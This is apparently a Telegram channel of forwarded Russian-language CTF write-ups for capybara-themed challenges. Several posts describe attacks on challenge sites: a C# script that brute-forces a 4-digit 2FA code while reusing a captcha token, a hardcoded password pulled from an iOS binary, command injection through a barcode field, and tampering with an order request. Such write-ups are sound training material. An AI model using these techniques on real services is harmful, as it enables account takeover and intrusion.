Forwarded from Борис Бескровный
#капиботы
кажется, тут что-то ещё есть внизу?
идём в свойства рисунка и правда! нам показали не весь рисунок. меняем параметры обрезки и идём сдавать флаг
кажется, тут что-то ещё есть внизу?
идём в свойства рисунка и правда! нам показали не весь рисунок. меняем параметры обрезки и идём сдавать флаг
⚡2💯1
Forwarded from Борис Бескровный
#капибьюти
начинаем сверху, да-да, карточки под буквами "САЛОН КАПИБЬЮТИ СПА" обозначают эти буквы, идём вниз и разгадываем, что было в купоне.
начинаем сверху, да-да, карточки под буквами "САЛОН КАПИБЬЮТИ СПА" обозначают эти буквы, идём вниз и разгадываем, что было в купоне.
💯3⚡1
Forwarded from Борис Бескровный
#капибоксер
в инструментах разработчика находим обфусцированный код
воспользуемся деобфускатором https://obf-io.deobfuscate.io/, чтобы получить более-менее читабельный код
выполнив его в консоли браузера обнаружим, что это массив 53х53 из нулей и единиц
любым удобным способом попробуем получить из них картинку, которая при масшабировании становится qr-кодом
в инструментах разработчика находим обфусцированный код
воспользуемся деобфускатором https://obf-io.deobfuscate.io/, чтобы получить более-менее читабельный код
выполнив его в консоли браузера обнаружим, что это массив 53х53 из нулей и единиц
любым удобным способом попробуем получить из них картинку, которая при масшабировании становится qr-кодом
⚡4👍2👎1💯1
Forwarded from 𝔏𝔢𝔬𝔫𝔦𝔡 𝔇𝔯𝔲𝔤𝔬𝔳
Привет!
#Капирнетика
1) находим ссылку на телеграм (там пароль от testadmin)
2) Замечаем что капчу можно использовать несколько раз в хедерах через бурп
3) перебором подбираем 2фа
#Капирнетика
1) находим ссылку на телеграм (там пароль от testadmin)
2) Замечаем что капчу можно использовать несколько раз в хедерах через бурп
3) перебором подбираем 2фа
using RestSharp;
var client = new RestClient("https://t-capyrnetics-d2dra09u.spbctf.org");
int totp;
for (totp = 456; totp <= 9999; totp++)
{
Console.WriteLine($"{totp:0000}");
var loginReq = new RestRequest("/login", Method.Post);
loginReq.AddHeader("Content-Type", "application/x-www-form-urlencoded");
loginReq.AddHeader("Cookie","__cfduid=8269e6ad7729f954eff40e7a1ed636ab; verification=dmVyaWZ5OjE3NDE1NDM4MjA0MTgxMzMxMzd8MTc0NTIzNzk4NS40NkNHRVd1bkRMU0R5d3NESkRqVjJPUi1mLVU2ajZjRk1ySHdsemRRZ1RVPQ==");
loginReq.AddBody($"username=testadmin&step=2&totp={totp:0000}&g-recaptcha-response=03AFcWeA4g6Dix1Cuk1UwyGGKbLDS8MfHjAPue3b6RNQHUF3Q9I5f6V7X2x9KmmMm_qyYrZ5EsofDNsXNyTZaQpY-d7yct2uPj-sXpkQGEw6lf9GhtU8-u-X844Dyb7YOvGBTXHzqX0huRZUIAgkXevcrHnEWQ7UyOMJphWn6tVBtezspXO48RT9dH6YNv1uhvhanjMpooO5WKGrlxD6s45_lw_iqCQXqqRTSMrWwhTHbuiRxC704RAKTWMrO3sQTt4LlZtmrRImZbx4WN5D7_Wid6RWbMWwqaxW-2FTDhW2x4HjxzXeVgUBktJlVtwaI_fUZV2IZREP2ky4GPmCYp3T24JBJpOvx4nB2pKVS4ml9zgooEhD9uk-b3XWo-DsUXRw6zNVySViz8E7VcYCuwHFPRTDOKge2VlISc-CE6DIuh4Fav0xVK3XOLoZL3zULL-ob5CLJwKqkMUx5-KZOC-XuclyjEh9OkzlMyUQOKJc_Lg_xNh9aabZn3s-SRL2LZDquCQZ1SG8syr-KVOXWDOZs72uDW2Kt03goclyiwOG2pc51XNpbEhun8FFocZjWtChvcqzO6SBF6dCgMuHop8GKYtuGTT2y87b2-1ulJpfmeX0MC3OWYz9OpFLt4PaIkkwtJ9tL6Q7ySII1b5bF-7E5is_M7z2UPVYsIAzTHiFB5UBDvT6HEOLwedPEQZoIVTupSCyvJgzDSH278Ue7B6hFOanQ-f8sEh1ptQa_4DP6PlTAGm4yQ-KOiGc5y1-MuFuQygIzg-CBpcyblcj12QAdE3ffd3kAdkSTIivNXH_iEHa_xv_B46FY3D_UBETttubDFOWAle7Rr0FtaapEQ3hHFPV-xS9KipVy2wziqOnqi_Yvfw3H4jDC-u_lcZ05dSWTFXstBzkj5D1yoj_fkpLJC5TpIqS5_q9iLAqs805QospSg91YCHe79VrSAyBLxpni20p3ONTle9GcFJC7xuT71-7iIFyvrzA");
var resp = await client.ExecuteAsync(loginReq);
if (!resp.Content.Contains("Неправильный код"))
{
break;
}
}
Console.WriteLine(totp);⚡2🤯1
Forwarded from Сергей Руденко ☭Серп☭
#капибоксер
изучив код в инструментах разработчика( file: brain_model.js) вводим в консоль в инструментах разработчика команду:
далее отправляем в консоль код:
данный код достает бумагу из сундука и помещает ее выше и всегда повернутую к камере, далее нам остается считать с qr-кода информацию и отправить в нужное поле
изучив код в инструментах разработчика( file: brain_model.js) вводим в консоль в инструментах разработчика команду:
allow pasting
далее отправляем в консоль код:
let paper = null;
// поиск бумаги погеометрии
brainModel.traverse(obj => {
if (obj.geometry && obj.geometry.type === "PlaneGeometry") {
paper = obj;
}
});
if (paper) {
const scene = brainModel.parent; // получаем сцену
paper.parent.remove(paper); // удаляем из текущей группы
scene.add(paper); // добавляем прямо в сцену
// перемещаем наверх
paper.position.set(0, 1, 0);
paper.lookAt(brainCamera.position);
// сделаем бумагу ярко-красной, чтобы её сразу заметить
paper.material.color.set(0xff0000);
console.log("Бумага перемещена!");
} else {
console.warn("Бумага не найдена!");
}
данный код достает бумагу из сундука и помещает ее выше и всегда повернутую к камере, далее нам остается считать с qr-кода информацию и отправить в нужное поле
⚡1👎1💯1
Forwarded from Сергей Руденко ☭Серп☭
#капибады
в интернете находим сайт КапиПродай, на нем нет ни какой информации
Начинаем искать в интернете по запросу: "Капибады с КапиПродай" и находит канал в тг с озывами
На одной из фотографий видим надпись что писать надо на основной аккаунт.
изучив аккаунт по фотографии в яндексе(по обоям и картинам) находим подходящее помещение, на фото смотрим что за помещение, и копируем его координаты. Вставляем их на сайт капиполиции и задача решена
в интернете находим сайт КапиПродай, на нем нет ни какой информации
Начинаем искать в интернете по запросу: "Капибады с КапиПродай" и находит канал в тг с озывами
На одной из фотографий видим надпись что писать надо на основной аккаунт.
изучив аккаунт по фотографии в яндексе(по обоям и картинам) находим подходящее помещение, на фото смотрим что за помещение, и копируем его координаты. Вставляем их на сайт капиполиции и задача решена
💯2⚡1🔥1
Forwarded from Modal
Banner.rar
194.1 KB
Но вот этим я прям горжусь. НЕ в плане что собой - скорее тем, что смог на пару с гпт это написать - вышло шикарно)
⚡1💯1
Forwarded from weakly
#Капибартер
просто распаковываешь ipa как zip, далее бинарник закидываешь в ida, открываешь debugpanel видишь там
v22 = self;
v21[1] = (id)a2;
NSLog(&CFSTR("This function available only in Debug mode. Tap 5 times in the down right corner to enable it.").isa);
v21[0] = objc_retain(CFSTR("support"));
v20 = objc_retain(CFSTR("th1sisv3rys3cretP@55w0rD"));
v19 = objc_retainAutoreleasedReturnValue(
+[NSURL URLWithString:](
&OBJC_CLASS___NSURL,
"URLWithString:",
CFSTR("https://t-barter-3zrm60ot.spbctf.org/api/v2/auth")));
идешь логинишься, получаешь флаг
просто распаковываешь ipa как zip, далее бинарник закидываешь в ida, открываешь debugpanel видишь там
v22 = self;
v21[1] = (id)a2;
NSLog(&CFSTR("This function available only in Debug mode. Tap 5 times in the down right corner to enable it.").isa);
v21[0] = objc_retain(CFSTR("support"));
v20 = objc_retain(CFSTR("th1sisv3rys3cretP@55w0rD"));
v19 = objc_retainAutoreleasedReturnValue(
+[NSURL URLWithString:](
&OBJC_CLASS___NSURL,
"URLWithString:",
CFSTR("https://t-barter-3zrm60ot.spbctf.org/api/v2/auth")));
идешь логинишься, получаешь флаг
💯2⚡1
Forwarded from Modal
А ещё задачка с тикетами на парковке:
Смотрим barcode, видим там структуру: number%plate%date
Если с plate и date все ясно, то что за номер - хз, пробуем генерировать (много онлайн генераторов штрих кодов) и скармливать сайту разные коды, видим что меняется тип билета на 2 - earlybird, например. И так доходим до vip, который просит код. А у нас, между прочим и есть задание - найти этот код. Смотрим source и видим, что там всего 9 типов билетов, и последний из них - debug. Дальше, перебором понимаем, что мы имеем структуру ticket_type%plate%date%payload
И перебором понимаем, что мы можем исполнять shell команды. В итоге рекурсивно выводим содержимое файлов и находим искомы ключ
Смотрим barcode, видим там структуру: number%plate%date
Если с plate и date все ясно, то что за номер - хз, пробуем генерировать (много онлайн генераторов штрих кодов) и скармливать сайту разные коды, видим что меняется тип билета на 2 - earlybird, например. И так доходим до vip, который просит код. А у нас, между прочим и есть задание - найти этот код. Смотрим source и видим, что там всего 9 типов билетов, и последний из них - debug. Дальше, перебором понимаем, что мы имеем структуру ticket_type%plate%date%payload
И перебором понимаем, что мы можем исполнять shell команды. В итоге рекурсивно выводим содержимое файлов и находим искомы ключ
⚡2
Forwarded from Сергей Руденко ☭Серп☭
Капиборд.py
5.4 KB
#Капибаннер
на сайте получил исходную строки и строки по тз, а так же понял правила инвертирования светодиодов по строке и столбцу, написал( без помощью гпт не обошлось) питон-код и он мне вывел на какие светодиоды нажимать, далее протыкал в ручную(можно было как то упростить себе жизнь, но стало лень)
на сайте получил исходную строки и строки по тз, а так же понял правила инвертирования светодиодов по строке и столбцу, написал( без помощью гпт не обошлось) питон-код и он мне вывел на какие светодиоды нажимать, далее протыкал в ручную(можно было как то упростить себе жизнь, но стало лень)
⚡1💯1
Forwarded from Yura
#Капибартер
в файле capibarter-3 внутри архива находим человекочитаемые строчки, из которых понятно, что нужно сходить на /api/v1/auth
там вводим support:th1sisv3rys3cretP@55w0rD и получаем флаг, нажав на любую машину из Либерти-Каписити
в файле capibarter-3 внутри архива находим человекочитаемые строчки, из которых понятно, что нужно сходить на /api/v1/auth
там вводим support:th1sisv3rys3cretP@55w0rD и получаем флаг, нажав на любую машину из Либерти-Каписити
⚡2👌1
Forwarded from Сергей Руденко ☭Серп☭
#Капибургер
перехватывал отправляемые запросы и увидел что у каждого передаются определенные уникальные значения, скопировал уникальное значение флага, заказал Капибургер, там есть бесплатная позиция, при отправке на покупку перехватил и изменил в запросе значение бесплатной позиции на ун.номер флага. готово
перехватывал отправляемые запросы и увидел что у каждого передаются определенные уникальные значения, скопировал уникальное значение флага, заказал Капибургер, там есть бесплатная позиция, при отправке на покупку перехватил и изменил в запросе значение бесплатной позиции на ун.номер флага. готово
👍3💯3⚡1